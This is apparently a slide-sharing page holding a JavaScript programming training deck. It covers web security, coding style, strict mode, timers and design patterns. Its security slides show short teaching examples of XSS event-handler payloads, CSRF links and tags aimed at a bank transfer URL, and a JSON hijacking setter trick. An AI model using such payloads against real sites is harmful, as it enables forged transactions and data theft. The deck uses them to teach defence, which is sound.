3. What is the principles of Teamwork_Module_V1.0.ppt3. What is the principles of Teamwork_Module_V1.0.ppt
3. What is the principles of Teamwork_Module_V1.0.ppt
engaash9
 
社内勉強会資料_Chain of Thought .
社内勉強会資料_Chain of Thought                           .社内勉強会資料_Chain of Thought                           .
社内勉強会資料_Chain of Thought .
NABLAS株式会社
 
Rigor, ethics, wellbeing and resilience in the ICT doctoral journey
Rigor, ethics, wellbeing and resilience in the ICT doctoral journeyRigor, ethics, wellbeing and resilience in the ICT doctoral journey
Rigor, ethics, wellbeing and resilience in the ICT doctoral journey
Yannis
 
Week 6- PC HARDWARE AND MAINTENANCE-THEORY.pptx
Week 6- PC HARDWARE AND MAINTENANCE-THEORY.pptxWeek 6- PC HARDWARE AND MAINTENANCE-THEORY.pptx
Week 6- PC HARDWARE AND MAINTENANCE-THEORY.pptx
dayananda54
 
New Microsoft Office Word Documentfrf.docx
New Microsoft Office Word Documentfrf.docxNew Microsoft Office Word Documentfrf.docx
New Microsoft Office Word Documentfrf.docx
misheetasah
 
Semi-Conductor ppt ShubhamSeSemi-Con.pptx
Semi-Conductor ppt ShubhamSeSemi-Con.pptxSemi-Conductor ppt ShubhamSeSemi-Con.pptx
Semi-Conductor ppt ShubhamSeSemi-Con.pptx
studyshubham18
 
WIRELESS COMMUNICATION SECURITY AND IT’S PROTECTION METHODS
WIRELESS COMMUNICATION SECURITY AND IT’S PROTECTION METHODSWIRELESS COMMUNICATION SECURITY AND IT’S PROTECTION METHODS
WIRELESS COMMUNICATION SECURITY AND IT’S PROTECTION METHODS
samueljackson3773
 
02 - Ethics & Professionalism - BEM, IEM, MySET.PPT
02 - Ethics & Professionalism - BEM, IEM, MySET.PPT02 - Ethics & Professionalism - BEM, IEM, MySET.PPT
02 - Ethics & Professionalism - BEM, IEM, MySET.PPT
SharinAbGhani1
 
fHUINhKG5lM1WBBk608.pptxfhjjhhjffhiuhhghj
fHUINhKG5lM1WBBk608.pptxfhjjhhjffhiuhhghjfHUINhKG5lM1WBBk608.pptxfhjjhhjffhiuhhghj
fHUINhKG5lM1WBBk608.pptxfhjjhhjffhiuhhghj
yadavshivank2006
 
Artificial Power 2025 raport krajobrazowy
Artificial Power 2025 raport krajobrazowyArtificial Power 2025 raport krajobrazowy
Artificial Power 2025 raport krajobrazowy
dominikamizerska1
 
11th International Conference on Data Mining (DaMi 2025)
11th International Conference on Data Mining (DaMi 2025)11th International Conference on Data Mining (DaMi 2025)
11th International Conference on Data Mining (DaMi 2025)
kjim477n
 
Computer_vision-photometric_image_formation.pdf
Computer_vision-photometric_image_formation.pdfComputer_vision-photometric_image_formation.pdf
Computer_vision-photometric_image_formation.pdf
kumarprem6767merp
 
David Boutry - Mentors Junior Developers
David Boutry - Mentors Junior DevelopersDavid Boutry - Mentors Junior Developers
David Boutry - Mentors Junior Developers
David Boutry
 
362 Alec Data Center Solutions-Slysium Data Center-AUH-Glands & Lugs, Simplex...
362 Alec Data Center Solutions-Slysium Data Center-AUH-Glands & Lugs, Simplex...362 Alec Data Center Solutions-Slysium Data Center-AUH-Glands & Lugs, Simplex...
362 Alec Data Center Solutions-Slysium Data Center-AUH-Glands & Lugs, Simplex...
djiceramil
 
FINAL 2013 Module 20 Corrosion Control and Sequestering PPT Slides.pptx
FINAL 2013 Module 20 Corrosion Control and Sequestering PPT Slides.pptxFINAL 2013 Module 20 Corrosion Control and Sequestering PPT Slides.pptx
FINAL 2013 Module 20 Corrosion Control and Sequestering PPT Slides.pptx
kippcam
 
A DECISION SUPPORT SYSTEM FOR ESTIMATING COST OF SOFTWARE PROJECTS USING A HY...
A DECISION SUPPORT SYSTEM FOR ESTIMATING COST OF SOFTWARE PROJECTS USING A HY...A DECISION SUPPORT SYSTEM FOR ESTIMATING COST OF SOFTWARE PROJECTS USING A HY...
A DECISION SUPPORT SYSTEM FOR ESTIMATING COST OF SOFTWARE PROJECTS USING A HY...
ijfcstjournal
 
chemistry investigatory project for class 12
chemistry investigatory project for class 12chemistry investigatory project for class 12
chemistry investigatory project for class 12
Susis10
 
Airport_Substation_With_Diagrams (2).pptx
Airport_Substation_With_Diagrams (2).pptxAirport_Substation_With_Diagrams (2).pptx
Airport_Substation_With_Diagrams (2).pptx
BibekMedhi2
 
362 Alec Data Center Solutions-Slysium Data Center-AUH-Adaptaflex.pdf
362 Alec Data Center Solutions-Slysium Data Center-AUH-Adaptaflex.pdf362 Alec Data Center Solutions-Slysium Data Center-AUH-Adaptaflex.pdf
362 Alec Data Center Solutions-Slysium Data Center-AUH-Adaptaflex.pdf
djiceramil
 
Third Review PPT that consists of the project d etails like abstract.
Third Review PPT that consists of the project d etails like abstract.Third Review PPT that consists of the project d etails like abstract.
Third Review PPT that consists of the project d etails like abstract.
Sowndarya6
 
3. What is the principles of Teamwork_Module_V1.0.ppt
3. What is the principles of Teamwork_Module_V1.0.ppt3. What is the principles of Teamwork_Module_V1.0.ppt
3. What is the principles of Teamwork_Module_V1.0.ppt
engaash9
 
社内勉強会資料_Chain of Thought .
社内勉強会資料_Chain of Thought                           .社内勉強会資料_Chain of Thought                           .
社内勉強会資料_Chain of Thought .
NABLAS株式会社
 
Rigor, ethics, wellbeing and resilience in the ICT doctoral journey
Rigor, ethics, wellbeing and resilience in the ICT doctoral journeyRigor, ethics, wellbeing and resilience in the ICT doctoral journey
Rigor, ethics, wellbeing and resilience in the ICT doctoral journey
Yannis
 

Practical JavaScript Programming - Session 7/8

  • 3. 3 Wilson Su Front-end Developer, HIE ● 6 years in web design ● Specialize in JavaScript / CSS / HTML / OOP / Git ● Familiar with PHP / Design Pattern ● Interested in UI & Ix Design [email protected]
  • 4. Outline 4 Practical JavaScript Programming Chapter 14. ● Restricted Features ● Vulnerabilities Security Chapter 15. Best Practice ● Coding Style ● Strict Mode ● Timing Events Chapter 16. Design Patterns ● Singleton Pattern ● Factory Pattern ● Dependency Injection ● Module Pattern ● Facade Pattern ● Proxy Pattern ● Observer Pattern
  • 7. JavaScript Restricted Features 7 Security Submit a form The History object The FileUpload object Window size and position Modify event properties Mixed content Close a window Same-origin policy
  • 9. What JavaScript Can Do Globally ● Scripts can override native prototype and methods ● Different scripts can mess with each other's variables ● Different scripts can redefine each other's functions ● Transmit data anywhere ● Watch keystrokes ● All scripts run with equal authority 9 Vulnerabilities
  • 10. 10 Client Side Web Security Attacks Vulnerabilities ● Cross-Site Scripting / XSS ● Cross-Site Request Forgery / CSRF ● JSON Hijacking ● Clickjacking ● Likejacking / Social Jacking JS
  • 12. XSS Attack Examples 12 1. <form action="document.write('evil')"> 2. <button typen="submit">Save</button> 3. </form> 4. <input onfocus="document.write('evil')" autofocus/> 5. <img src="x" onerror="document.write('evil')"/>
  • 13. Cross-Site Request Forgery 13 Vulnerabilities Bank Let’s Play a Game http://smart.bank.com http://unsafe.games.com Popular Games Play Play Play Hi, Neo Account Balance Transfer 10,000 http://smart.bank.com/transfer?to=12345678&amount=10000
  • 14. CSRF / Cross Site Request Forgery 14 1. <a href="https://bank.com/transfer?to=123&amount=100">Play</a> 2. <img src="https://bank.com/transfer?to=123&amount=100"/> 3. <iframe src="https://bank.com/transfer?to=123&amount=100"> 4. </iframe>
  • 15. JSON Hijacking 15 Vulnerabilities Bank Let’s Play a Game http://smart.bank.com http://unsafe.games.com Hi, Neo <script> Object.prototype.__defineSetter __(…); </script> <script src="https://smart.bank.com/dat a/account"></script> Nice see you again.
  • 16. Clickjacking 16 Vulnerabilities FB Like Blog Fake Like ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– –––––––––––––––––––––––––––––
  • 19. Avoid Polluting the Global Scope 19 1. var title = 'JS'; 2. var add = function () {}; 3. function echo () {}; 4. console.log(window.hasOwnProperty('title')); // true 5. console.log(window.hasOwnProperty('add')); // true 6. console.log(window.hasOwnProperty('echo')); // true
  • 20. Reducing Globals 20 1. /* Use a nmaespace */ 2. var util = { 3. version: '1.2.0', 4. unique: function () {}, 5. extend: function () {} 6. };
  • 22. Automatic Semicolon Insertion - Example 1 22 1. function fn () { 2. var string = 'xyz' 3. var number = 999 4. return { value: 1 } 5. } 6. /* The code got transformed as follows */ 7. function fn () { 8. var string = 'xyz'; 9. var number = 999; 10. return { value: 1 }; 11. }
  • 23. Automatic Semicolon Insertion - Example 2 23 1. var fn = function () { 2. return { 3. value: 2 4. } 5. } 6. /* The code got transformed as follows */ 7. var fn = function () { 8. return { 9. value: 2 10. }; 11. };
  • 24. Automatic Semicolon Insertion - Example 3 24 1. function fn () { 2. var string = 'xyz' 3. number = 999 4. return 5. { value: 3 } 6. } 7. /* The code got transformed as follows */ 8. function fn () { 9. var string = 'xyz'; 10. number = 999; 11. return; 12. { value: 3 }; 13. }
  • 25. Automatic Semicolon Insertion - Example 4 25 1. var echo = value => value; 2. var list, id, data = { id: 1 }; 3. echo('Hi') 4. (list || []).forEach(v => console.log(v)) 5. id = data.id 6. [1, 2, 3].map(v => v * 2) 7. 8. /* The code from line 3 to 6 got transformed into 2 lines */ 9. echo('Hi')(list || []).forEach(v => console.log(v)); 10. // TypeError 11. id = data.id[1, 2, 3].map(v => v * 2); 12. // TypeError
  • 26. Automatic Semicolon Insertion - Example 5 26 1. (() => console.log('Hi!'))() 2. (() => console.log('Yo!'))() 3. 4. /* Lines got merged */ 5. (() => console.log('Hi!'))()(() => console.log('Yo!'))(); 6. 7. /* Add a semicolon before an IIFE; therefore, it will prevent code from being merged into one line. */ 8. Math.random() 9. ;(function () {})();
  • 27. Conditional Evaluation 27 1. if (array.length > 0) {} 2. if (array.length) {} 3. 4. if (array.length === 0) {} 5. if (!array.length) {} 6. 7. if (string !== '') {} 8. if (string) {} 9. 10. if (string === '') {} 11. if (!string) {}
  • 28. Avoid Using switch 28 1. var action = 'triple', value = 10; 2. switch (action) { 3. case: 'double': 4. value = value * 2; 5. break; 6. case: 'triple': 7. value = value * 3; 8. break; 9. default: 10. value = value; 11. }
  • 29. Replacing switch Statements With Object Literals 29 1. var cases = { 2. double: function (value) { return value * 2; }, 3. triple: function (value) { return value * 3; }, 4. normal: function (value) { return value; } 5. }; 6. var action = 'triple', value = 10; 7. var fn = action in cases ? cases[action] : cases.normal; 8. fn(value); // 30
  • 31. Strict Mode for Scripts 31 1. 'use strict'; 2. var text = 'A strict mode script';
  • 32. Strict Mode for Functions 32 1. function strict () { 2. // Function-level strict mode 3. 'use strict'; 4. } 5. 6. function nonstrict () {}
  • 33. Strict Mode for Anonymous Functions 33 1. (function strict () { 2. // Function-level strict mode 3. 'use strict'; 4. })();
  • 34. The strict-mode directive is only recognized at the beginning of a script or a function. 34
  • 35. The Strict-mode Not Allowed in Function With Non-simple Parameters 35 1. function fn1 (a = 1, b = 2) { 'use strict'; } // SyntaxError 2. function fn2 ([a, b]) { 'use strict'; } // SyntaxError 3. function fn3 (...args) { 'use strict'; } // SyntaxError 4. 5. /* Workaround */ 6. (function () { 7. 'use strict'; 8. function fn1 (a = 1, b = 2) {} 9. function fn2 ([a, b]) {} 10. function fn3 (...args) {} 11. })();
  • 36. Impossible to Accidentally Create Global Variables 36 1. (function nonstrict () { 2. id = 'Global'; 3. })(); 4. console.log(window.id); // 'Global' 1. (function strict () { 2. 'use strict'; 3. /* An error is thrown only if the variable not exists 4. in window object */ 5. id = 'Global'; // ReferenceError 6. })();
  • 37. Strict Mode Function 37 1. (function nonstrict () { 2. return this; 3. })(); 4. // Window { … } 5. 6. (function strict () { 7. 'use strict'; 8. return this; 9. })(); 10. // undefined
  • 38. Unique Function Parameters 38 1. (function nonstrict (arguments) { 2. return arguments; 3. })(10); 4. // 10 5. 6. function strict (arguments) { 7. 'use strict'; 8. } 9. // SyntaxError
  • 39. Duplicate Parameter Name 39 1. function nonstrict (name, name) { 2. return name; 3. } 4. nonstrict('Ben'); // undefined 5. nonstrict('Ben', 'Lisa'); // 'Lisa' 6. 7. function strict (name, name) { 8. 'use strict'; 9. } 10. // SyntaxError
  • 40. Forbid Setting Properties on Primitive Values 40 1. (function nonstrict () { 2. false.type = 'Bool'; 3. (14).text = 'Fourteen'; 4. 'Ten'.value = 10; 5. })(); 6. 7. (function strict () { 8. 'use strict'; 9. false.type = 'Bool'; // TypeError 10. (14).text = 'Fourteen'; // TypeError 11. 'Ten'.value = 10; // TypeError 12. })();
  • 41. Delete of an Unqualified Identifier 41 1. (function nonstrict () { 2. var index; 3. console.log(delete index); // false 4. })(); 5. 6. function strict () { 7. 'use strict'; 8. var index; 9. console.log(delete index); 10. } 11. // SyntaxError
  • 42. Not Allow to Use with 42 1. (function nonstrict () { 2. var dog = { age: 5 }; 3. with (dog) { age = 3; } 4. console.log(dog); // {age: 3} 5. })(); 6. 7. function strict () { 8. 'use strict'; 9. var dog = { age: 5 }; 10. with (dog) { age = 3; } 11. } 12. // SyntaxError
  • 43. The eval() Is Not Allowed to Create Variables in Strict-mode 43 1. (function nonstrict () { 2. eval('var number = 30'); 3. console.log(number); // 30 4. })(); 5. 6. (function strict () { 7. 'use strict'; 8. var bool = eval('var bool = true; bool'); 9. eval('var number = 30'); 10. console.log(bool); // true 11. console.log(number); // ReferenceError 12. })();
  • 46. A Basic Timing Event 46 1. var timer = setTimeout(function () { 2. console.log('Executed'); 3. }, 10 * 1000); 4. /* The clearTimeout() method cancels a timer previously established by calling setTimeout() */ 5. clearTimeout(timer);
  • 47. A Customable Timing Event Function Using setTimeout 47 1. /* Assume time() is a function to get current time. */ 2. function timer (fn, delay = 1000, times = 3) { 3. setTimeout(function () { 4. console.log(time()); 5. fn(); 6. --times && timer(fn, delay, times); 7. }, delay); 8. }; 9. timer(function () { 10. /* Something that blocks for 1 minutes */ 11. }); 12. // '12:00:01' '12:01:02' '12:02:03'
  • 48. A Repeatedly Timing Event 48 1. var timer = setInterval(function () { 2. console.log('Executed'); 3. }, 10 * 1000); 4. /* The clearInterval() method cancels a timer previously established by calling setInterval() */ 5. clearInterval(timer);
  • 49. Stacking Calls With setInterval 49 1. setInterval(function () { 2. /* Something that blocks for 1 minutes */ 3. }, 1000); 4. /* When code that is being executed blocks the timeout call, setInterval will still issue more calls to the specified function. */
  • 53. Singleton Pattern 53 Design Patterns Static public method Private constructor A static member A class of which only a single instance can exist. Ensure a class only has one instance, and provide a global point of access to it.
  • 54. An Example Using the Singleton Pattern 54 1. function Router (options) { 2. if (Router.instance) { return Router.instance; } 3. this.options = options; 4. } 5. Router.instance = null; 6. Router.create = function (options) { 7. if (Router.instance) { return Router.instance; } 8. return Router.instance = new Router(options); 9. } 10. var options = {}, router = Router.create(options); 11. console.log(router === Router.instance); // true 12. console.log(router === new Router(options)); // true
  • 56. Factory Pattern 56 Design Patterns Line Bar Pie ChartFactory Define an interface for creating an object, but let subclasses decide which class to instantiate. Factory Method lets a class defer instantiation to subclasses.
  • 57. An Example Using the Factory Pattern 57 1. /* Assume class Line, Bar, and Pie are defined */ 2. var types = { line: Line, bar: Bar, pie: Pie }; 3. class ChartFactory { 4. static create (options) { 5. var type = options.type; 6. if (!type) { throw Error('Chart type is undefined.'); } 7. var Type = type in types ? types[type] : null; 8. if (!type) { throw Error('Unknown chart type.'); } 9. return new Type(options); 10. } 11. } 12. ChartFactory.create({ type: 'line', data: [50, 80, 60] }); 13. ChartFactory.create({ type: 'pie', data: [10, 20, 70] });
  • 59. Dependency Injection 59 Design Patterns Dependency injection is a technique whereby one object supplies the dependencies of another object. It is one specific implementation of the inversion of control technique. App A B C D depends
  • 60. Examples Using the Dependency Injection 60 1. /* Example 1 */ 2. function Router () {} 3. function Storage () {} 4. function App () {} 5. new App(new Router(), new Storage()); 6. 7. /* Example 2 - Dynamically loads dependencies */ 8. function Combobox (input, dropdown) {} 9. var injector = { resolve: function (deps, fn) {} }; 10. var dependencies = ['Input', 'Dropdown']; 11. injector.resolve(dependencies, (input, dropdown) => { 12. var combobox = new Combobox(input, dropdown); 13. });
  • 62. Module Pattern 62 Design Patterns The Module pattern is used to emulate the concept of classes in such a way that we're able to include both public/private methods and variables inside a single object, thus shielding particular parts from the global scope. Router Menu ChartjQuery
  • 63. An Example Using the Module Pattern 63 1. /* Global module */ 2. var collection = (function () { 3. 'use strict'; 4. var module = {}; 5. var items = []; // Private 6. var sort = function () {}; // Private 7. module.name = 'collection'; // Public 8. module.push = function (data) {}; // Public 9. return module; 10. })();
  • 64. An Example Using the Revealing Module Pattern 64 1. /* Global module */ 2. var collection = (function () { 3. 'use strict'; 4. var name = 'collection'; 5. var items = []; 6. function sort () {}; 7. function push (data) {}; 8. return { name, push }; 9. })();
  • 65. AMD / Asynchronous Module Definition 65 1. /* collection.js */ 2. define(['./libs/jquery'], function ($) { 3. 'use strict'; 4. var name = 'collection'; 5. var items = []; 6. function sort () {}; 7. function push (data) {}; 8. return { name, push }; 9. });
  • 66. CommonJS 66 1. 'use strict'; 2. var $ = require('jquery'); 3. var name = 'collection'; 4. var items = []; 5. function sort () {}; 6. function push (data) {}; 7. module.exports = { name, push };
  • 67. UMD / Universal Module Definition 67 1. (function (root, factory) { 2. if (typeof define === 'function' && define.amd) { 3. define(['jquery'], factory); 4. } else if (typeof exports === 'object') { 5. module.exports = factory(require('jquery')); 6. } else { 7. root.collection = factory(root.jQuery); 8. } 9. })(this, function ($) { 10. 'use strict'; 11. var name = 'collection', items = []; 12. var sort = () => {}, push = (data) => {}; 13. return { name, push }; 14. });
  • 69. Facade Pattern 69 Design Patterns A single class that represents an entire subsystem. Provide a unified interface to a set of interfaces in a system. Facade defines a higher-level interface that makes the subsystem easier to use. Facade Internal A Internal B Internal C
  • 70. An Example Using the Facade Pattern 70 1. function bind (elem, event, listener) { 2. if (elem.addEventListener) { 3. elem.addEventListener(event, listener, false); 4. } else if (elem.attachEvent) { 5. elem.attachEvent('on' + event, listener); 6. } else { 7. elem['on' + event] = listener; 8. } 9. } 10. var button = document.getElementById('save'); 11. bind(button, 'click', function () {}); 12. bind(button, 'dblclick', function () {});
  • 72. Proxy Pattern 72 Design Patterns Proxy Real ObjectClient An object representing another object. Provide a surrogate or placeholder for another object to control access to it.
  • 73. An Example Using the Proxy Pattern 73 1. class ElementProxy { 2. constructor (selector) { 3. this.selector = selector; 4. this.elem = document.querySelector(selector); 5. } 6. on (event, listener, capture) { 7. this.elem.addEventListener(event, listener, capture); 8. return this; 9. } 10. attr (attr, value) {} 11. } 12. var button = new ElementProxy('button#submit'); 13. button.attr('disabled', false).on('click', () => {});
  • 75. Observer Pattern 75 Design Patterns Subject Observer Observer Observer notify notify notifysubject changed Define a one-to-many dependency between objects so that when one object changes state, all its dependents are notified and updated automatically.
  • 76. An Example Using the Observer Pattern 76 1. class Subject { 2. attach (observer) { this.set.add(observer); } 3. detach (observer) { this.set.delete(observer); } 4. notify () { this.observers.forEach(o => o.update()); } 5. setState(state) { this.state = state; } 6. } 7. class Observer { 8. update () {} 9. } 10. var subject = new Subject(), observer = new Observer(subject); 11. subject.attach(observer); 12. subject.setState('changed'); 13. subject.notify();
  • 77. An Example Using the Publish/Subscribe Pattern 77 1. class EventEmitter { 2. on(event, listener) {} 3. off(event, listener) {} 4. once(event, listener) {} 5. emit(event, listener) {} 6. } 7. var emitter = new EventEmitter(); 8. emitter.on('done', (data) => console.log('Done.')); 9. emitter.on('error', (error) => console.log('Error!')); 10. fetch('/api/users').then((response) => { 11. emitter.emit('done', response.json()); 12. }) 13. .catch(error => emitter.emit('error', error));
  • 78. Reference 78 ● Clickjacking - Wikipedia ● Cross-Site Scripting (XSS) Cheat Sheet | Veracode ● Cross-Site Scripting – Application Security – Google ● Dependency injection - Wikipedia ● Guide to CSRF (Cross-Site Request Forgery) | Veracode ● HTML5 Security Cheatsheet ● JavaScript Security ● JSON Hijacking | You've Been Hacked Practical JavaScript Programming
  • 79. Reference 79 ● Mixed content - Web security | MDN ● Principles of Writing Consistent, Idiomatic JavaScript ● Security Guide for Developers ● Social jacking - Wikipedia ● Strict mode restriction - JavaScript | MDN ● Strict mode - JavaScript | MDN ● The 23 Gang of Four Design Patterns ● Understanding Automatic Semicolon Insertion in JavaScript Practical JavaScript Programming
  • 80. Reference Books ● Effective JavaScript ● JavaScript: The Good Parts ● JavaScript: The Definitive Guide, 4th Edition ● Learning JavaScript Design Patterns 80 Practical JavaScript Programming